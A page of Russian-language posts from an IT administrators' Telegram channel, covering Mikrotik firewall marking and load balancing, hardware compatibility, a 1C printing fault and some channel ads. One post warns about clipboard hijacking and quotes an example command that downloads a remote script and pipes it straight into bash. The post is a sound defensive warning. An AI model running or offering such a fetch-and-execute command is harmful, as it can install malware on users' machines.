Записки IT специалиста
7.97K subscribers
1.56K photos
50 videos
15 files
2.23K links
IT-канал, просто о сложном
https://interface31.ru

Купить рекламу:
https://telega.in/c/interface31
Download Telegram
​​Неочевидные угрозы из буфера обмена

Можно без преувеличения сказать - копипастить любят все, особенно длинные команды.

Но не все задумываются о неочевидных угрозах данного метода.

Дело в том, что в буфер обмена может попасть совсем не то, что вы видите на экране. Я думаю все сталкивались с подобным, когда вы копируете абзац, а в буфере к нему довеском оказывается:

 Информация с сайта https://example.com

Но это вполне безобидная штука, а ведь вместо обычной и безобидной

apt update

В буфере может оказаться:

curl -s https://example.com/script.sh | bash

Да еще и с символом переноса строки в конце, что автоматически запустит команду на выполнение сразу же после вставки.

А дальше, пока вы будете смотреть в экран и пытаться понять что происходит, произойти может всякое.

И это не страшилки, а вполне реальный сценарий, который применялся на практике для заражения систем вредоносным ПО.

Какой отсюда вывод? Не копипастить? Ну это не реально. А вот не тянуть сразу из браузера в терминал - это вполне по силам, чтобы понять что именно вы скопировали достаточно вставить содержимое буфера в любой текстовый редактор.
👍47🔥4
Хотите разобраться как дорабатывать и внедрять 1С так, чтобы заказчик был доволен, а у спеца не было головной боли? Об этом рассказывает бывалый 1С-ник на канале “Владимир Харин - Просто Pro 1С”. Владимир делится опытом, кейсами, наработками. Кратко, просто, полезно и с юмором.

О чем пишет? Ну, например
– Когда четкая постановка задачи заказчиком становится проблемой
– 5 недостатков кода, из-за которых его сопровождение превращается в ад, и что с этим делать
– Как можно сделать идеальную разработку, и при этом страшно накосячить
– Как подружить наработки пользователей в Excel с учетом в 1С

Присоединяйтесь!
👍2👎1😁1
​​Правильное использование Fast Path и FastTrack в Mikrotik

С самого основания данного ресурса мы не перестаем придерживаться мнения, что практика всегда должна опираться на необходимый теоретический минимум, давая в своих статьях порой обширные теоретические отступления.

Без теории практика превращается в подобие шаманских камланий с бубном, когда вроде сделал все тоже самое, но ничего не работает.

В этом плане технология FastTrack в Mikrotik, несмотря на всю свою простоту, держит пальму первенства по количеству возникающих с ней проблем, которые, в большинстве своем, возникают именно от незнания и непонимания работы этой технологии.

https://interface31.ru/tech_it/2021/09/pravilnoe-ispolzovanie-fast-path-i-fasttrack-v-mikrotik.html

Статья обновлена и дополнена
👍17🔥31
Как выглядит аквадискотека внутри сервера? ПВО на крыше московского дата-центра, правда или баян? Где в златоглавой дают кофе серверы навынос? Со знанием дела рассказывает NETRACK.
👍3
Еще один 😥

Еще один "зеленый" WD отправился с в страну вечной охоты. Тоже SATA, хотя и форм-фактора M.2

Симптомы тоже причудливые. Он не дает с себя грузиться, если загрузиться с чего-либо еще - работает вроде бы нормально.

В общем "зеленая" серия зарекомендовала себя крайне отрицательно.

В ответственных местах рекомендуем под замену не дожидаясь. ☝️
👍32👏1
Forwarded from EFSOL
🤖 Убираем рутину в работе ИТ-инженера или автоматизация регламентных операций

Не секрет, что для стабильной работы операционных систем, особенно Windows Server, требуется регулярно проводить регламентные операции обслуживания.

У каждого специалиста может быть свой набор операций, но основные будут общими для всех:

- контролируемая установка обновлений;
- антивирусный осмотр сервера сторонним антивирусным ядром;
- чистка различных системных логов;
- проверка работы резервного копирования, желательно с тестовым восстановлением;
- плановая перезагрузка сервера (Windows Server это любит).

Для облегчения этих рутинных операций, мы для себя приняли решение провести автоматизацию части этих пунктов. С инструментом автоматизации мудрить не стали, выбрали PowerShell:

1) Скрипт скачивает актуальное ядро антивируса Касперского с оф.сайта, проводит проверку, записывает лог и удаляет антивирус.
2) Происходит автоматическая очистка логов (настраиваемый функционал).
3) Проходит установка обновлений.
4) Перезагрузка сервера.

Функционал не такой богатый, но здорово экономить время ИТ-инженера, снимая с него часть скучных рутинных операций.

Автоматизацию проверки резервных копий возложили на систему мониторинга Zabbix. А вот восстановление надо проводить вручную, тут не все так просто и очень все индивидуально.

👍 Стратегия ИТ-инженера должна быть такой, чтобы вся рутина была автоматизирована и поставлена на мониторинг.

ИТ-услуги от EFSOL

📱 Подписаться
Please open Telegram to view this post
VIEW IN TELEGRAM
👍4
​​Сегодня сложно представить современного админа без загрузочной флешки. Это просто, быстро, недорого и удобно.

Лучшим инструментом для создания мультизагрузочных флешей является Ventoy, о нем мы писали в статье:

🔹 Админу на заметку - 28. Создаем мультизагрузочную флешку с поддержкой ISO при помощи Ventoy

А чтобы не таскать на флешке целую кучу образов добавьте туда образ Netboot.xyz. Он позволяет выполнить сетевую загрузку и установку большого числа Linux-дистрибутивов и основанных на Linux служебных дисков.

Более подробно можно почитать здесь:

🔹 Админу на заметку - 27. Как установить любой популярный Linux по сети используя netboot.xyz

Оба эти проекта прекрасно дополняют друг друга и у нас это теперь набор по умолчанию. Интернет есть везде, поэтому если вдруг резко что-то понадобилось, то не нужно бежать куда-то и качать. Все можно загрузить и использовать "не отходя от кассы".
👍363
Подборка новых статей из Журнала Академии Яндекса. Они пишут для тех, кто выбрал путь в IT: про развитие, карьеру и будущее
 
1. Как разработчику использовать Stack Overflow:
https://t.iss.one/journal_academy/774
 
2. Программируем на планшете: может ли IPad заменить разработчику ноутбук:
https://t.iss.one/journal_academy/745
 
3. Какие функции Figma полезны разработчикам:
https://t.iss.one/journal_academy/791
 
4. Как эффективно учиться во взрослом возрасте:
https://t.iss.one/journal_academy/652
 
5. 6 советов побороть прокрастинацию:
https://t.iss.one/journal_academy/800
 
Вступайте в сообщество увлечённых айтишников:
Журнал Академии Яндекса
👍6😱1
Не все йогурты одинаково полезны! ☝️

При подготовке материалов мы всегда внимательно изучаем то, что написано в сети. Встречается разное.

Данный пример найден нами на сайте одной аутсорсинговой компании. Работать он, конечно же, не будет. Мало того, выход в интернет полностью пропадет. 🤬

Кто скажет почему? 🤔

На скриншоте убрана часть конфигурации не относящаяся к вопросу.

Правильный ответ будет позже.
👎2
​​Продолжаем вчерашнюю тему.

К сожалению, следует признать, что маркировка пакетов и балансировка для многих темный лес. Предположения были самые разные, но все они были далеки от истинной причины. Как говорится, искали не там, где потеряли, а там, где светлее. 🤷‍♂️

Поэтому сегодня букв будет много. Начнем с того, что балансировать нужно соединения. Критически важно, чтобы для каждого отдельного соединения пакеты уходили только через один канал.

При этом желательно вообще все соединения отдельного узла выпускать только через один канал, но это уже тонкости. Главное: одно соединение – один канал.

Теперь о брандмауэре, брандмауэр работает с пакетами, а не с соединениями. Более того, брандмауэр не знает какому соединению принадлежит пакет.

Но мы можем видеть статус соединения: новое, установленное, связанное и т.д.

Поэтому наша цель отловить новые соединения и промаркировать их. Затем все пакеты уже установленного соединения будут автоматически промаркированы выбранной маркой. При этом следует понимать, что марка существует только в брандмауэре, никаких изменений в сами пакеты не вносится.

А потом, на основании метки соединения мы делаем mark-routing, т.е. ставим на пакет еще одну метку, на основании которой он пойдет в ту или иную таблицу маршрутизации. Эта метка тоже сугубо виртуальна и существует только внутри брандмауэра.

А теперь посмотрим в приведенный нами пример. Вы где-нибудь там видите маркировку соединений? Нет. Потому что соединения никто промаркировать не удосужился.

Там сразу берут пакеты с адресом источника локальной сети и ставят им метку маршрутизации. Не соединениям, пакетам!

А что такое NTH? А это элементарное на первый-второй рассчитайся. Как на уроках физкультуры. В итоге пакеты даже одного соединения легко раскидает по разным каналам. В подавляющем большинстве случаев для соединения это будет фатальным. Исключения – когда достаточно одного пакета туда и одного обратно.

В итоге интернет просто ляжет. 🙈

Ошибка очень грубая и плохо что практически никто ее сразу не нашел. 😥

О том, как сделать правильно – читайте в нашей статье:

https://interface31.ru/tech_it/2023/04/mikrotik-i-neskol-ko-provayderov-balansirovka-kanalov.html
👍25
🚩Аккредитованная IT-компания RG-Soft набирает команду программистов и аналитиков 1С.

Возможна удаленная работа.

💪RG-Soft это:

✔️17 собственных разработок для различных отраслей бизнеса.

✔️Победитель проект года 1С.

✔️3100+ внедренных решений.

✔️1000+ обученных специалистов.

✔️20 лет опыта подтвержденных положительными отзывами клиентов.

📍Подробнее о вакансиях: https://hr.rg-soft.ru/

🙋‍♂️Будем рады видеть тебя в нашей команде!
👍1
​​Что такое passthrough в брандмауэре Mikrotik и зачем он нужен

Обсуждение в предыдущих постах показало, что далеко не все понимают назначение флага passthrough в брандмауэре.

Начнем с того, что вспомним принцип работы брандмауэра: пакет движется по цепочке пока не будет совпадения с критериями правила.

Затем к пакету применяется действие. Если действие является терминирующим, то пакет прекращает движение по цепочке и переходит в следующую. Если действие не терминирующее, то продолжает.

В таблицах nat или filter большинство действий является терминирующими, за редкими исключениями, например, добавить адрес в список.

А вот с таблицей mangle все по другому. Там у нас появляется выбор. Обычно все действия по маркировке пакетов и соединений начинаются в цепочке prerouting данной таблицы.

Хорошо, вот кинули мы марку на соединение, а дальше что? А дальше все зависит от последующей логики. Если потом эту марку мы будем использовать где-нибудь в nat или filter, то пакет можно смело терминировать. Делать в этой цепочке ему больше нечего.

А если нам нужно затем промаркировать пакеты на основании марки соединения, скажем, сделать им mark-routing, то терминировать пакет никак нельзя. С таблицей маршрутизации надо определиться здесь и сейчас, до принятия решения о маршрутизации.

И здесь нам на помощь приходит как раз passthrough, установка этой опции делает правило не терминирующим. И пакет продолжает движение по цепочке дальше.

Таким образом, если у нас есть два правила, в первом из которых мы маркируем соединения, а во втором пакеты. То в первом мы ставим флаг passthrough, а во втором уже нет.
👍14
​​Почему нужно читать спецификации перед покупкой железа

Времена, когда перед покупкой железо тщательно изучалось и проверялось давно прошли. Сегодня, в большинстве своем, можно ткнуть одно в другое, лишь бы влезло и оно с большой вероятностью заведется.

Но вот будет ли нормально работать? Далеко не факт.

На неделе у заказчика сгорела материнская плата на AM4, куда был установлен процессор Ryzen 5 2400G. Ну сгорела, так сгорела, купим новую. А так как нужна была материнка на 4 слота памяти, то выбор по наличию был не большой и купили по сути первое попавшееся, на 520 чипсете.

Все включилось, заработало, но время от времени компьютер стал самопроизвольно выключаться. Проверили тепловой режим - нормально, подбросили другой блок питания - нормально.

В общем вчера после обеда закончили работу пораньше и привезли. Запустили на стенде, ровно та же самая ерунда. Что могли заменили. Осталось два главных подозреваемых: материнская плата и процессор.

После чего мы решили не пороть горячку, а почитать спецификации. И бинго! В спецификации к плате прямо указано, что она не поддерживает серии 1ххх и 2ххх. Достали из закромов родины материнку на 450 чипсете с заявленной совместимостью - все работает как часы.

Хорошо, что у заказчика нашелся ПК на более старом чипсете и просто поменялись материнскими платами и обошлись без лишних затрат.

Но даже если поддержка процессора для вашей платы заявлена, то не поленитесь сходить в раздел с BIOS, у многих производителей с определенной версии BIOS прямо указывается, что шить ее для 1ххх и 2ххх не рекомендуется. Затем думайте или читайте про возможность даунгрейда BIOS. Так как скорее всего у платы в продаже BIOS будет более-менее свежий.

Также обязательно изучайте листы совместимости если собираетесь установить память по верхней планке, там есть свои особенности и не вся память заведется в таком режиме.

В общем лишние полчаса на вдумчивое чтение способны уберечь вас от лишней суеты, беготни и финансовых затрат.
👍29
​​В продолжение вчерашней темы, но только про M.2 и подводные камни, которые могут подстерегать с этим разъёмом.

https://interface31.ru/tech_it/2021/10/kak-pravilno-vybrat-nvme-ssd-disk.html
🔥23👍3
Сегодня в комментариях загоняли лютую дичь про гарантию и ЗоЗПП. Как человек много времени отработавший рядом с гарантийкой и плотно общающийся с гарантийщиками в теплой дружеской атмосфере, могу подготовить пост о работе гарантийного отдела с той стороны баррикад.

Интересно?
👍178🔥5
Китайцы особо не парятся и не заморачиваются, даже среди производителей первого эшелона.

Ну а чего такого? Для лаоваев сойдет...
👍3
This media is not supported in your browser
VIEW IN TELEGRAM
Hello everyone!😊
Английский язык открывает очень много дверей, как в карьере, так и в других областях жизни. Самое главное в изучении языков - это постоянная практика.
Присоединяйтесь к каналу Speak English https://t.iss.one/wespeakenglishdaily, где мы каждый день делимся  различными материалами по английскому языку, забавными видео, интересными выражениями, словами, лайфхаками по изучению , новостями в области изучения языков.
Пополняйте свою копилочку знаний, а также вдохновляйтесь на дальнейшее изучение вместе с нами.
👎6👍4
Доверяй, но проверяй!

Сегодня обратился заказчик с неожиданной проблемой: 1С перестала печатать. Сразу обе базы: Бухгалтерия и Розница.

При этом компьютер только вчера забрали из сервиса. Там увеличили оперативную память и переустановили систему.

Обычно по этой ошибке стандартным решением бывает сбросить настройки печати в базе, но тут этот способ не помог.

Очистка кеша и прочие колдунства тоже не принесли желаемого результата. Обе базы просто перестали работать с любыми принтерами.

И тут мы додумались посмотреть какая платформа установлена, может в сервисе сдуру влупили что-то не то?

И выяснилось, что никакая платформа не установлена вообще, товарищи тупо скопировали папку и вынесли на рабочий стол ярлык, хотя дистрибутив платформы спокойно лежал на рабочем столе старой системы и был старательно перенесен на новый.

После установки платформы все сразу пришло в норму.

Мораль сей басни такова - проверять нужно все, от и до. ☝️

Иначе можно потратить время на поиск черной кошки в темной комнате.
👍26😁11